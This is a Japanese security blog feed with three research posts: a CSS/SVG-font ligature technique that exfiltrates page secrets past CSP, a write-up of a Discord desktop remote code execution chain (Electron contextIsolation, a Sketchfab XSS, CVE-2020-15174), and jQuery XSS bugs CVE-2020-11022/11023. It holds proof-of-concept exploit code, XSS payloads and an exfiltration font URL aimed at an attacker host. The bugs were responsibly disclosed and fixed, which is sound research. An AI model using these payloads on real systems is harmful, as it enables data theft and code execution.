tag:blogger.com,1999:blog-83534239327023999632024-10-02T19:53:04.337+09:00Masato Kinugawa Security BlogUnknown[email protected]Blogger79125tag:blogger.com,1999:blog-8353423932702399963.post-72826181911142553942021-11-28T17:58:00.001+09:002021-11-28T18:33:24.798+09:00SVGフォントとCSSを使ってページ内のテキストを読み取る<p><span style="background-color: #fefdfa; font-family: &quot;Noto Sans Japanese&quot;; font-size: 17px; letter-spacing: 0.3px;">English version is here:&nbsp;</span><span style="font-family: Noto Sans Japanese;"><span style="font-size: 17px; letter-spacing: 0.3px;"><a href="https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html">https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html</a></span></span></p><p>この記事では、SVGフォントとCSSを使って、ページ内のテキストを読み取る方法を紹介します。</p><p>CSSを使ってデータを読み取る方法はいくつか知られており、既知の手法が以下のサイトでよくまとめられています。</p><p>CSS Injection Primitives :: DoomsDay Vault</p><p><a href="https://x-c3ll.github.io/posts/CSS-Injection-Primitives/">https://x-c3ll.github.io/posts/CSS-Injection-Primitives/</a></p><p>これらのテクニックは、入力がサニタイズされていて使えるHTMLタグが限られているケースや、Content Security Policy(CSP)の制限によってJavaScriptが使えない状況などでも、スタイルの記述ができることなど一部の条件さえ満たしていれば使えるため、攻撃者にとって有用な場合があります。</p><p>今日紹介するテクニックもそのようなテクニックの1つです。ただ、完全に新しいものではなく、以下のMichał Bentkowskiさんによる合字を使ったテクニックを少し置き換えただけのものです。</p><p>Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com</p><p><a href="https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/">https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/</a></p><p>ほぼ同じ手法ではあるものの、他で言及されているのを見たことがなかったことと、MichałさんのテクニックがCSPなどの制約により使用できない状況でも、こちらは使用できる場合があり、言及する価値があると思ったため、この記事を書くことにしました。</p><p>まず、Michałさんのテクニックがどのようなものか簡単に説明します。</p><p>フォントには、合字(ligature)を設定する仕組みがあります。合字とは、複数の文字を合成して一文字にしたものです。合字をフォント側で設定すると、例えば、「a」と「b」が隣り合わせに並んでいるとき、「ab」を1つの文字とみなして字体を適用することが可能です。この仕組みが、ページ内のテキストデータの読み取り攻撃を可能にします。具体的にどのように攻撃が可能か紹介していきます。</p><p>例として、ページ内に「"secret"」という文字列があり、攻撃者はこれを読み取りたいとしましょう。このとき、このテキストが含まれる箇所をCSSセレクタで指定し、攻撃者が作成した合字を持つフォントを適用します。攻撃者はまず、「"a」が合字になっているフォントを適用します。このとき、合字の文字幅を他の文字より大きく設定しておきます。「"a」は読み取りたい部分には存在しないので、大きな文字幅のフォントはページ上には表示されないことになります。さらに、「"b」「"c」「"d」...と、別のアルファベットが合字になったフォントをそれぞれ適用していきます。そうしていくと、「"s」が合字になったフォントを適用したときに、実際に大きな文字幅の字体がページ上に表示されることになります。これが適用されたことをある方法で検出することにより、「"s」がそこにあることをリークします。どのように検出するかというと、ChromeやSafariがサポートしている「-webkit-scrollbar」というスクロールバーのスタイルを指定できるCSS疑似要素を使います。このCSS疑似要素で、合字が適用される部分に、背景画像をロードするスタイルを設定しておくのです。この背景画像は、リクエスト量を抑えるブラウザ側の配慮のため、スタイルを設定するだけではロードされず、スクロールバーが実際に表示されたときにはじめてロードされるようになっています。この仕様のおかげで、文字幅が大きいフォントが出現したときだけ、スクロールバーが現れるように対象の要素のCSSを調整しておくことで、画像のロードの有無から、「"s」がそこにあるかどうかを検出できてしまいます。「"s」がわかったら、次は、「"sa」「"sb」「"sc」...と、3文字の文字幅が大きい合字を作成して、同様の試行を繰り返し、さらに、4文字の合字、5文字の合字と、合字の文字数を増やしていくことで、最終的に対象のすべての文字を読み取ることができてしまいます。</p><p>以上がMichałさんの発明したテクニックです。Michałさんは、SVG形式のフォントをWOFF形式のフォントに変換することでこれを行いましたが、この記事で紹介する方法では、SVG形式のフォントをあえてそのまま使います。Michałさんは、ブラウザがSVGフォントのサポートを辞めたためWOFFを使用したと書いていますが、実はSafariはSVGフォントをサポートしており、現在も使えます。今から紹介する方法は、SVGフォントを使う以外はMichałさんの手法とほぼ同じです。それでもあえて紹介したいのは、SVGフォントを使わないと攻撃できない状況がありうるからです。というのも、SVGフォントは、WOFF形式のフォントなどと同じように、URLからロードすることもできるのですが、URLからロードすること無しに、フォント全てをインラインで記述して設定することもできます。こうすると、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義してフォントを適用することができます。</p><p>具体的にMichałさんの手法がどのように置き換えられるかみていきます。</p><p>Michałさんの手法では、&lt;style&gt;タグの@font-faceからWOFFフォントをロードしていました。</p><blockquote class="tr_bq nowrap">&lt;style&gt;<br />@font-face {<br />&nbsp;&nbsp;&nbsp;&nbsp;font-family: "hack";<br />&nbsp;&nbsp;&nbsp;&nbsp;src: url(http://192.168.13.37:3001/font/%22/0)<br />}<br />[...]<br />&lt;/style&gt;</blockquote><p>このスタイルは、インラインのSVGフォントで次のように置き換えられます。以下は「"0」の合字だけ文字幅を大きくして、その他の文字の文字幅を小さく設定するようなフォントの定義です。</p><blockquote class="tr_bq nowrap">&lt;svg&gt;<br />&lt;defs&gt;<br />&lt;font horiz-adv-x="0"&gt;<br />&lt;font-face font-family="hack" units-per-em="1000"&gt;&lt;/font-face&gt;<br />&lt;glyph unicode="&amp;quot;0" horiz-adv-x="99999" d="M1 0z"&gt;&lt;/glyph&gt;<br />&lt;glyph unicode="1" horiz-adv-x="0" d="M1 0z"&gt;&lt;/glyph&gt;<br />&lt;glyph unicode="2" horiz-adv-x="0" d="M1 0z"&gt;&lt;/glyph&gt;<br />&lt;glyph unicode="3" horiz-adv-x="0" d="M1 0z"&gt;&lt;/glyph&gt;<br />&lt;glyph unicode="4" horiz-adv-x="0" d="M1 0z"&gt;&lt;/glyph&gt;<br />&lt;glyph unicode="5" horiz-adv-x="0" d="M1 0z"&gt;&lt;/glyph&gt;<br />[...]<br />&lt;/font&gt;<br />&lt;/defs&gt;<br />&lt;/svg&gt;</blockquote><p>これで、CSSからfont-familyをhackに指定すると、SVG外であろうと、このSVGフォントをフォントとして使用できます。このとき、CSPでfont-src 'none' が指定されていようともブロックされることはありません。(ただし、最終的にデータの読み出しに使用するのはスクロールバーの背景画像を使った画像リクエストであることは同じなので、最低限img-srcディレクティブでリクエストを観測可能なホストが許可されている必要があります。)</p><p>実際のPoCをみていきましょう。</p><p>次のようなターゲットのページがあるとします。</p><p><a href="https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E">https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E</a></p><blockquote class="tr_bq nowrap">&lt;!DOCTYPE html&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;meta charset="utf-8"&gt;<br />&lt;meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:"&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;script id="leakme" nonce="random"&gt;<br />const secret = "573ba8e9bfd0abd3d69d8395db582a9e";<br />&lt;/script&gt;<br /><br />&lt;script nonce="random"&gt;<br />const params = (new URL(document.location)).searchParams;<br />const xss = params.get('xss');<br />if(xss){<br />&nbsp;&nbsp;&nbsp;&nbsp;document.write(xss);<br />}<br />&lt;/script&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</blockquote><p>xssパラメータにインジェクションがあり、CSPのせいでスクリプトの実行やフォントのロードはできず、scriptブロック内のsecret変数に秘密情報がある、といったページです。この状況で、SVGフォントを利用して、secretを読み出すことができることを示します。</p><p>以下のURLに"Safariで"アクセスして、「Go」ボタンをクリックすることで再現できます。</p><p>PoC:&nbsp;<a href="https://l0.cm/svg_font/poc.php">https://l0.cm/svg_font/poc.php</a></p><p>攻撃に利用した全てのコードはここにあります:&nbsp;<a href="https://github.com/masatokinugawa/css-exfiltration-svg-font">https://github.com/masatokinugawa/css-exfiltration-svg-font</a></p><p>うまく動けば、以下の動画のように、複数のウインドウが開き、しばらく待っていると、「Go」ボタンがあるページ上に「573b...」と少しずつsecretが表示されていくはずです。</p><p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/iUzNA2St3Bc" title="YouTube video player" width="560"></iframe></p><p>SVGフォントを使用した以外は、MichałさんのPoCとほぼ同じなのですが、少しだけ変更した点があります。MichałさんのPoCではiframeでターゲットのページをロードしていましたが、これをwindow.open()で開くようにしました。これは、Safariは現在<a href="https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/">デフォルトで全てのサードパーティCookieをブロックする</a>ため、iframeを使った攻撃はログイン済みのユーザーのデータを読み取る攻撃の例として現実的でないと考えたからです。また、データの受け渡し方法も変更しています。MichałさんのPoCでは、Cookieを経由して値を渡していますが、ここでも、サードパーティCookieのブロックのために背景画像のロード時にCookieをセットできないため、セッションIDをURLに付けることで代用しています。</p><p>ちなみに、一度に複数のウィンドウを開けているのは、Safariのポップアップブロッカーは1回のクリックで開けるウィンドウ数に制限がないためです。このおかげで、Safariでは、1回のクリックさえあれば、複数のウィンドウを使ってデータの読み出し試行が可能です。</p><p><br /></p><p>以上、SVGフォントとCSSを使ってページ内のテキストを読み取る手法について紹介しました。</p><p>CSPでスクリプトの実行をブロックされることが増えてきた昨今、スクリプトを使わない攻撃はまだ何かないかといつも考えています。また何か面白いことに気付いたら紹介したいと思います。</p>Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-64827972072242160962020-10-18T00:24:00.034+09:002020-10-18T16:44:15.978+09:00 DiscordデスクトップアプリのRCE<p>数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、<a href="https://discord.com/security" target="_blank">Bug Bounty Program</a>を通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。</p><h3 style="text-align: left;">調査のきっかけ</h3><p>Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。</p><h3 style="text-align: left;">発見した脆弱性</h3><p>私は主に次の3つのバグを組み合わせることでRCEを達成しました。</p><p></p><ol style="text-align: left;"><li>contextIsolationオプションの不使用</li><li>埋め込みコンテンツのXSS</li><li>ナビゲーション制限のバイパス(CVE-2020-15174)</li></ol><p></p><p>1つずつ紹介していきます。</p><h3 style="text-align: left;">contextIsolationオプションの不使用</h3><p>Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用する<a href="https://www.electronjs.org/docs/api/browser-window">BrowserWindow API</a>で使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。</p><p>Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。</p><p>メインウィンドウでは、以下のオプションが使用されていました。&nbsp;</p><blockquote class="tr_bq nowrap">const mainWindowOptions = {<br />&nbsp;&nbsp;title: 'Discord',<br />&nbsp;&nbsp;backgroundColor: getBackgroundColor(),<br />&nbsp;&nbsp;width: DEFAULT_WIDTH,<br />&nbsp;&nbsp;height: DEFAULT_HEIGHT,<br />&nbsp;&nbsp;minWidth: MIN_WIDTH,<br />&nbsp;&nbsp;minHeight: MIN_HEIGHT,<br />&nbsp;&nbsp;transparent: false,<br />&nbsp;&nbsp;frame: false,<br />&nbsp;&nbsp;resizable: true,<br />&nbsp;&nbsp;show: isVisible,<br />&nbsp;&nbsp;webPreferences: {<br />&nbsp;&nbsp;&nbsp;&nbsp;blinkFeatures: 'EnumerateDevices,AudioOutputDevices',<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="background-color: #fcff01;"><b>nodeIntegration: false</b></span>,<br />&nbsp;&nbsp;&nbsp;&nbsp;preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),<br />&nbsp;&nbsp;&nbsp;&nbsp;nativeWindowOpen: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;enableRemoteModule: false,<br />&nbsp;&nbsp;&nbsp;&nbsp;spellcheck: true<br />&nbsp;&nbsp;}<br />};</blockquote><p>ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。</p><p>nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、<code>require</code>呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。</p><blockquote class="tr_bq">&lt;script&gt;<br />&nbsp; require('child_process').exec('calc');<br />&lt;/script&gt;</blockquote><p>今回は、nodeIntegrationはfalseに設定されていたので、このように直接<code>require</code>を使ってNode.jsの機能を使うことはできません。</p><p>しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。</p><p>contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、<a href="https://github.com/electron/electron/tree/83bb065b4f6ed512d545c46389a7fdc114c94a54/lib/renderer">Electron自体がレンダラで使っているJavaScriptコード</a>や、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドである<code>Array.prototype.join</code>をWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上で<code>join</code>が使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。</p><p>この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。</p><p>なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。</p><p>その時の検査のレポートが以下に最近公開されたので、よければご覧ください。</p><p>Pentest-Report Ethereum Mist 11.2016 - 10.2017<br /><a href="https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view">https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view</a></p><p>また、私が以前イベントでこの問題について発表した資料も以下にあります。</p><script async="" class="speakerdeck-embed" data-id="8011ace355404f529102db5ffefb140b" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script><p><br /></p><p>contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。</p><p>contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。</p><p>通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。</p><p>スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを<a href="https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-ja?slide=41">紹介しました</a>が、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。)&nbsp;</p><p>ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。</p><p>すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、<code>DiscordNative.nativeModules.requireModule('モジュール名')</code> を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。</p><p>以下がそのPoCです。discord_utils というモジュールが定義する<code>getGPUDriverVersions</code>を<code>RegExp.prototype.test</code>と<code>Array.prototype.join</code>を以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。</p><blockquote class="tr_bq nowrap">RegExp.prototype.test=function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;return false;<br />}<br />Array.prototype.join=function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;return "calc";<br />}<br />DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();</blockquote><p><code>getGPUDriverVersions</code>は、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。</p><blockquote class="tr_bq nowrap">module.exports.getGPUDriverVersions = async () =&gt; {<br />&nbsp;&nbsp;if (process.platform !== 'win32') {<br />&nbsp;&nbsp;&nbsp;&nbsp;return {};<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;const result = {};<br />&nbsp;&nbsp;const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;<br /><br />&nbsp;&nbsp;try {<br />&nbsp;&nbsp;&nbsp;&nbsp;result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));<br />&nbsp;&nbsp;} catch (e) {<br />&nbsp;&nbsp;&nbsp;&nbsp;result.nvidia = {error: e.toString()};<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;return result;<br />};</blockquote><p>execaは<code>nvidiaSmiPath</code>変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、<code>RegExp.prototype.test</code>と<code>Array.prototype.join</code>を上書きしたことで、execa内部の処理で、引数がcalcに変更されます。</p><p>具体的には次の2か所を変更することで引数を取り換えています。</p><p><a href="https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36">https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36</a></p><p><a href="https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55">https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55</a></p><p>あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。</p><h3 style="text-align: left;">埋め込みコンテンツのXSS</h3><p>任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。</p><p>Discordは、URLが貼り付けられると、そのURLの<a href="https://ogp.me/">OGP</a>情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。</p><p>このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。</p><p>どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。</p><blockquote class="tr_bq">Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com</blockquote><p>YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「<a href="http://sketchfab.com">sketchfab.com</a>」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。</p><p>以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。</p><p><a href="https://l0.cm/discord_rce_og.html">https://l0.cm/discord_rce_og.html</a></p><blockquote class="tr_bq nowrap">&lt;head&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta charset="utf-8"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta property="og:title" content="RCE DEMO"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;[...]<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta property="<span style="background-color: #fcff01;"><b>og:video:url</b></span>" content="https://<span style="background-color: #fcff01;"><b>sketchfab.com</b></span>/models/2b198209466d43328169d2d14a4392bb/embed"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta property="og:video:type" content="text/html"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta property="og:video:width" content="1280"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta property="og:video:height" content="720"&gt;<br />&lt;/head&gt;</blockquote><p>さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。</p><p>新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。</p><blockquote class="tr_bq nowrap">mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) =&gt; {<br />&nbsp;&nbsp;e.preventDefault();<br />&nbsp;&nbsp;if (frameName.startsWith(DISCORD_NAMESPACE) &amp;&amp; windowURL.startsWith(WEBAPP_ENDPOINT)) {<br />&nbsp;&nbsp;&nbsp;&nbsp;popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);<br />&nbsp;&nbsp;} else {<br />&nbsp;&nbsp;&nbsp;&nbsp;_electron.shell.openExternal(windowURL);<br />&nbsp;&nbsp;}<br />});<br />[...]<br />mainWindow.webContents.on('will-navigate', (evt, url) =&gt; {<br />&nbsp;&nbsp;if (!insideAuthFlow &amp;&amp; !url.startsWith(WEBAPP_ENDPOINT)) {<br />&nbsp;&nbsp;&nbsp;&nbsp;evt.preventDefault();<br />&nbsp;&nbsp;}<br />});</blockquote><p>このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。</p><h3 style="text-align: left;">ナビゲーション制限のバイパス(CVE-2020-15174)</h3><p>ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、<code>preventDefault()</code>によってナビゲーションは中断されるはずです。</p><p>不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。</p><p>このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、<code>top.location="//l0.cm/discord_calc.html"</code>などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。</p><p>このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。</p><p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/0f3RrvC-zGI" width="560"></iframe></p><p><br /></p><h3 style="text-align: left;">おわりに</h3><p>これらの問題は、Discordの<a href="https://discord.com/security" target="_blank">Bug Bounty Program</a>を通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。</p><p>SketchfabのXSSは、<a href="https://help.sketchfab.com/hc/en-us/articles/360044282632-Security-Vulnerabilities-Bug-Bounty">SketchfabのBug Bounty Program</a>を通じて報告し、修正されました。こちらも$300の報奨金をいただきました。</p><p>will-navigateイベントが送出されない動作はElectronのバグとして<a href="https://github.com/electron/electron/security/policy">Electronのセキュリティ窓口</a>を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。</p><p>Unpreventable top-level navigation · Advisory · electron/electron<br /><a href="https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674">https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674</a></p><p>以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在は<a href="https://www.electronjs.org/docs/breaking-changes#%E4%BA%88%E5%AE%9A%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E7%A0%B4%E5%A3%8A%E7%9A%84%E3%81%AAapi%E3%81%AE%E5%A4%89%E6%9B%B4-120">ElectronのデフォルトでcontextIsolationを有効化する</a>など、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。</p><p>この記事がElectronアプリを安全にするための一助となれば幸いです。</p>Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-74843921364085235152020-05-18T04:51:00.003+09:002020-05-18T08:32:25.648+09:00CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細English version is here:&nbsp;<a href="https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html">https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html</a><br /> <br /> <br /> 先月、jQuery 3.5.0がリリースされました。<br /> このバージョンでは、僕が報告した問題がSecurity Fixとして含まれています。<br /> <br /> jQuery 3.5.0 Released! | Official jQuery Blog<br /> <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/</a><br /> <br /> 報告したバグは、CVE-2020-11022、 CVE-2020-11023 として採番されています。<br /> <br /> <a href="https://github.com/advisories/GHSA-gxr4-xjj5-5px2">https://github.com/advisories/GHSA-gxr4-xjj5-5px2</a><br /> <a href="https://github.com/advisories/GHSA-jpcq-cgw6-v4j6">https://github.com/advisories/GHSA-jpcq-cgw6-v4j6</a><br /> <br /> 少し遅くなりましたが、この記事では、この問題がどんなものであったかを紹介します。<br /> <br /> <h3> 問題の概要</h3> <br /> この問題の影響を受けるのは、次のようなアプリケーションです。<br /> <br /> <ul> <li>ユーザに、XSSが起きない範囲で、好きなHTMLを使用させる機能がある</li> <li>そのHTMLをjQueryで動的にページへ追加している</li> </ul> <br /> このような機能を持つアプリケーションを、シンプルなコードで表してみます。<br /> <blockquote class="tr_bq"> &lt;div id="div"&gt;&lt;/div&gt;<br /> &lt;script&gt;<br /> //サーバ側でサニタイズされた安全なHTML<br /> sanitizedHTML = '&lt;p title="foo"&gt;bar&lt;/p&gt;';<br /> //divにHTMLを追加<br /> $('#div').html(sanitizedHTML);<br /> &lt;/script&gt;</blockquote> この状況では、通常、適切にサニタイズが行われているのであれば、ただ安全なHTMLを追加しているだけなので、XSSが発生することはないように思えます。しかし、実際には、<code>.html()</code>は内部で特別な文字列処理を行っており、この処理のせいでXSSが発生する場合がありました。これが今回の問題です。<br /> <br /> <h3> XSSが起きる例</h3> <br /> いくつかバリエーションがあるのですが、3つ例を示します。<br /> 次の3つはいずれも本来スクリプトが実行されないHTMLです。<br /> <blockquote class="tr_bq"> 例1.<br /> &lt;style&gt;&lt;style /&gt;&lt;img src=x onerror=alert(1)&gt;&nbsp;</blockquote> <blockquote class="tr_bq"> 例2. (jQuery 3.x以降のみ影響)<br /> &lt;img alt="&lt;x" title="/&gt;&lt;img src=x onerror=alert(1)&gt;"&gt;</blockquote> <blockquote class="tr_bq"> 例3.<br /> &lt;option&gt;&lt;style&gt;&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/style&gt;</blockquote> onerrorを持ったimgタグがあるように見えるかもしれませんが、よく見ると、属性内にあったり、style要素の内側に置かれていて、それらは実際には実行されないものです。これらがサニタイズ済みの安全なHTMLとして生成されたとしても、なんら不自然ではありません。<br /> <br /> 